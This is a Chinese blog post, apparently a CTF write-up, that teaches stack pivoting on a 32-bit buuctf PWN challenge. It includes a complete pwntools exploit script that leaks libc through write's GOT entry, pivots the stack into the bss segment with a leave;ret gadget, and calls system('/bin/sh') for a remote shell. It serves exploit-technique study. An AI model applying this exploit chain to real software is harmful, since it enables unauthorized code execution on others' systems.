棧遷移學習(buuctf [Black Watch 入羣題])

i春秋的borrowstack是棧遷移和萬能gadget的混合,,,然後writeup看的不是很明白,也沒有很細的解析,所以,emmm,應該是自己棧遷移學的不是很好,只是知道大概的意思,但是還沒有做過題,這次在看雪看到文章,就好好學一下,做到題啦!!

棧遷移,我覺得比較好理解,如果試過將調用一個函數過程好好自己試過的話,知道控制ebp,可以控制函數的去向,詳細可以看看這篇圖示:https://bbs.pediy.com/thread-258030.htm

 

我主要來講講這道題目:buuctf的[Black Watch 入羣題]PWN 52(https://buuoj.cn/challenges#[Black%20Watch%20%E5%85%A5%E7%BE%A4%E9%A2%98]PWN

32位程序。。。

點進去看看m1和m2

有兩個read函數,第一個s在bss段,可以將數據讀入bss段,第二個buf在棧上,可以覆蓋返回地址,但是溢出後空間不夠哇,所以要將棧遷移到bss段

 

//詳細的exp
#!usr/bin/python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',26044)
elf=ELF('./spwn')

bss_s=0x0804A300//ida裏面找到的
leave_ret=0x08048408 //用指令ROPgadget --binary spwn --only ‘leave|ret’查到的
write_plt=elf.plt['write']//write的plt表可以調用write函數
write_got=elf.got['write']//write的got表裏面有write函數的真實地址
main_addr=elf.symbols['main']

p.recvuntil("name?")
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
//棧遷移過來後 執行write函數 write後返回main函數 write的三個參數
p.send(payload)

p.recvuntil("say?")
payload='a'*0x18+p32(bss_s-4)+p32(leave_ret)
//       覆蓋量。。因爲由於有pop ebp,會使esp-4,將ebp 覆蓋爲想要調整的位置-4
 
//leave_ret相當於先mov esp,ebp 然後pop pop ebp,再pop eip
//這樣執行,esp指向ebp,也就是上面棧指向bss-4的位置,然後,pop ebp,esp、ebp指向bss,pop eip,然後程序就來執行了write函數,esp指向了main_addr,執行完write就main回去了

p.send(payload)

leak=u32(p.recv(4))
//因爲write的第二個參數是write_got,所以它會輸出write的got
libc=LibcSearcher('write',leak)//根據泄漏的write地址,用LibcSearcher可以找到對應的libc版本,//然後找到對應的write函數地址
libc_base=leak-libc.dump('write')//找到偏移

system_addr=libc_base + libc.dump('system')//根據偏移和system在libc中的地址找到system在程序中的地址

//***第二次執行程序***
p.recv()
payload=p32(system_addr)+p32(main_addr)+p32(bss_s+4*3)+'/bin/sh\x00'
//這次在bss段構造 system函數  返回地址       參數在bss_s後面三個位置   在這個位置填上system的參數
p.send(payload)

p.recv()
payload='a'*0x18+p32(bss_s-4)+p32(leave_ret)
p.send(payload)

p.interactive()

參考博客:https://bbs.pediy.com/thread-257983.htm

參考博客:https://wintersun.space/2016/05/20/pwn-%E5%85%B3%E4%BA%8E%E6%A0%88%E7%9A%84%E8%BF%81%E7%A7%BB/

ret返回的是棧頂數據,而棧頂地址是由esp寄存器的值決定的,也就是說如果我們控制了esp寄存器的數據,那麼我們也就能夠控制ret返回的棧頂數據。

我們首先將棧中保存ebp數據的地址空間控制爲我們想要棧頂地址,再利用兩次leave操作mov esp,ebp;pop ebp;mov esp,ebp;pop ebp;將esp寄存器中的值變成我們想讓它成爲的值。由於最後還有一個pop ebp操作多餘,該操作將導致esp-4,所以在構造ret的數據時應當考慮到將數據放到我們構造的esp地址-4的位置。】

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章